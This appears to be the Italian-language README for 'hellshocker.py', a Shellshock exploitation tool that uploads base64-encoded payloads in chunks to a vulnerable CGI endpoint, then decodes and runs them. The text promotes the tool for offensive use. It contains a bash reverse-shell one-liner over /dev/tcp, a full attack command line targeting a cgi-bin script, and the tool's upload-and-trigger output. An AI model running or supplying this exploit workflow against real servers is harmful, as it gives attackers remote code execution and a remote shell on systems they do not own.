
Script di sfruttamento di Shellshock in grado di caricare e ottenere RCE utilizzando qualsiasi vettore grazie alla sua versatilità.
Sei stanco di usare exploit Shellshock deboli o di entrare nel server con "/bin/bash >& /dev/tcp/IP/porta 0>&1"?
Sì, devi caricare ed eseguire qualcosa di più complesso sul server, e la codifica in base64 di un file enorme è impossibile per far sì che la tua richiesta HTTP venga accettata dal web server.
I tuoi problemi potrebbero essere finiti con questo strumento. È in grado di codificare il tuo payload in base64 e inviarlo in blocchi (di default 128 byte) al web server, quindi, una volta inviato, lo decodifica e lo esegue.
"Wow", dici, "Ma non ho PHP, mi serve qualcosa per Java." Nessun problema, dico, questo strumento è altamente personalizzabile.
Guarda qua:
python hellshocker.py --cgi http://website.com/cgi-bin/vulnerable --payload "java.jar" --destination "/tmp/java.jar" --trigger "/usr/bin/java -jar /tmp/java.jar" --base64
[*] Splitting data into chunks ...
[+] Payload data has been encoded to base64 format.
[*] There is 19 chunks to be sent to remote server
[*] Starting payload upload ...
[*] Uploading chunk #1
[*] Uploading chunk #2
[*] Uploading chunk #3
[*] Uploading chunk #4
[*] Uploading chunk #5
[*] Uploading chunk #6
[*] Uploading chunk #7
[*] Uploading chunk #8
[*] Uploading chunk #9
[*] Uploading chunk #10
[*] Uploading chunk #11
[*] Uploading chunk #12
[*] Uploading chunk #13
[*] Uploading chunk #14
[*] Uploading chunk #15
[*] Uploading chunk #16
[*] Uploading chunk #17
[*] Uploading chunk #18
[*] Uploading chunk #19
[+] Upload procedure has been completed.
[*] Decoding base64-encoded payload on remote server ...
[+] Remote command for decoding has been sent successfully sent.
[*] Triggering payload to execute ...
[+] Trigger command for payload execution has been succesfully sent.
Poi il tuo payload è stato trasferito ed eseguito con successo. Figo, vero? Sì, lo è.